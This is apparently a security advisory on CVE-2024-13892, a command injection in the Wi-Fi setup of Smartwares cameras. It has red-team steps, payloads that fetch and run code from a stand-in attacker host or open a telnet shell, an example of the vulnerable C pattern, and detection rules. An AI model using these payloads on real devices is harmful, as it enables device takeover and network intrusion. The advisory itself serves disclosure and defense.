CVE-2024-13892

Executive Summary

CVE-2024-13892 identifies a critical command injection vulnerability in Smartwares cameras, specifically models CIP-37210AT and C724IP, as well as other devices sharing the same firmware up to version 3.3.0. During the device initialization process, a user must provide Access Point (AP) credentials via a mobile app. The input is not properly sanitized, allowing an attacker to inject arbitrary operating system commands. The vendor has not responded to disclosure attempts, leaving the patching status unknown. This vulnerability could allow an unauthenticated attacker to gain full remote control of the device, potentially leading to network compromise, data exfiltration, or use in botnets.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded firmware on IoT cameras.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (command injection during initialization, likely over the network), a reasonable assessment is:

• Attack Vector (AV): Network (N) – the attacker can exploit this remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – the user must be in the process of initializing the device.
• Scope (S): Unchanged (U) – the vulnerable component is the camera itself.
• Confidentiality (C): High (H) – full system access.
• Integrity (I): High (H) – full system control.
• Availability (A): High (H) – can disrupt device operation.

Estimated CVSS Score: 8.8 (High)

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can lead to full device compromise. The lack of a patch increases the risk.

Deep Dive & Mechanics

The vulnerability exists in the device initialization process. When a user sets up the camera for the first time, they use a mobile app to provide the Wi-Fi Access Point credentials (SSID and password). This input is passed to the device's firmware, likely via a web API or a proprietary protocol. The firmware then executes a command to connect to the Wi-Fi network, such as:

iwconfig wlan0 essid "USER_SSID" key "USER_PASSWORD"

If the input is not sanitized, an attacker can inject additional commands by including shell metacharacters (e.g., ;, |, &&, `) in the SSID or password fields. For example, an SSID like:

MyWiFi; wget http://attacker.com/malware.sh -O /tmp/malware.sh && sh /tmp/malware.sh

would cause the device to execute the injected commands after the legitimate iwconfig command.

The vulnerability is triggered during the initial setup, meaning an attacker must be in proximity to the device (or on the same network) to intercept or manipulate the setup process. However, if the device is later accessible over the internet, the attacker could potentially re-trigger the initialization or exploit other attack vectors.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

void setup_wifi(char *ssid, char *password) {
    char command[512];
    snprintf(command, sizeof(command), "iwconfig wlan0 essid \"%s\" key \"%s\"", ssid, password);
    system(command);
}

Patched Code (Conceptual):

void setup_wifi(char *ssid, char *password) {
    // Validate and sanitize input
    if (!is_valid_ssid(ssid) || !is_valid_password(password)) {
        log_error("Invalid input");
        return;
    }
    // Use parameterized execution or escape shell metacharacters
    char *escaped_ssid = escape_shell_arg(ssid);
    char *escaped_password = escape_shell_arg(password);
    char command[512];
    snprintf(command, sizeof(command), "iwconfig wlan0 essid %s key %s", escaped_ssid, escaped_password);
    system(command);
    free(escaped_ssid);
    free(escaped_password);
}

The patched version would either validate input against a whitelist of allowed characters or properly escape shell metacharacters before passing the string to system().

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Obtain a Smartwares camera (CIP-37210AT or C724IP) with firmware <= 3.3.0.
2. Set up a controlled Wi-Fi network and a mobile device with the Smartwares app.
3. Use a network sniffer (e.g., Wireshark) to capture the traffic during initialization.

Exploitation Steps:

1. During the setup process, intercept the SSID or password field.
2. Inject a command payload. For example, set the SSID to:

   TestNet; telnetd -l /bin/sh
   

3. Complete the setup. The device will execute the injected command, enabling a telnet backdoor.
4. Connect to the device via telnet on port 23.

Alternative Payload:

TestNet| wget http://attacker.com/backdoor -O /tmp/backdoor && chmod +x /tmp/backdoor && /tmp/backdoor

Note: Since no public exploit code is available, this is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor network traffic for unusual SSID or password patterns during device setup.
• Look for shell metacharacters (;, |, &, `, $()) in Wi-Fi credentials.
• Use intrusion detection systems (IDS) to alert on commands like telnetd, wget, or curl originating from IoT devices.

Honeypot:

• Deploy a fake Smartwares camera setup endpoint to capture and analyze attack payloads.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections from the camera to unknown IPs on ports 23 (telnet), 80/443 (HTTP/HTTPS), or 31337 (common backdoor).
  • DNS queries to suspicious domains (e.g., attacker.com, malware.example).
• Host (on the camera):
  • Unusual processes: telnetd, wget, curl, nc, bash.
  • Modified files in /tmp or /var/run.
  • Open ports: 23 (telnet), 31337 (backdoor).
• Logs:
  • System logs showing execution of unexpected commands.

Detection Engineering

YARA Rule

rule Smartwares_Command_Injection_CVE_2024_13892 {
    meta:
        description = "Detects command injection attempts targeting Smartwares cameras"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13892"
    strings:
        $cmd1 = /iwconfig.*essid.*[;&|`$()]/
        $cmd2 = /iwconfig.*key.*[;&|`$()]/
        $cmd3 = /system\(.*[;&|`$()]/
    condition:
        any of them
}

Sigma Rule

title: Smartwares Camera Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts in Smartwares camera setup traffic
author: Valters IT
date: 2025-04-10
references:
    - CVE-2024-13892
logsource:
    category: network
    product: suricata
detection:
    selection:
        payload|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
            - '$('
        payload|startswith: 'iwconfig'
    condition: selection
falsepositives:
    - Legitimate use of special characters in SSID (unlikely)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"Smartwares Camera Command Injection Attempt"; flow:to_server; content:"iwconfig"; nocase; pcre:"/iwconfig.*essid.*[;&|`$()]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Smartwares cameras on a separate VLAN with no internet access.
2. Disable remote management: Block ports 23, 80, 443, and 8080 on the camera's network segment.
3. Monitor for exploitation: Use the provided detection rules to identify attacks.

Long-term Fix:

• Since the vendor has not responded, consider replacing the devices with alternatives from vendors that provide security patches.
• If replacement is not possible, implement a network-based firewall that inspects and sanitizes all traffic to/from the cameras.

Workaround:

• Manually configure the camera using a wired connection or a dedicated setup network that is not exposed to untrusted users.

Valters IT
Securing Digital Frontiers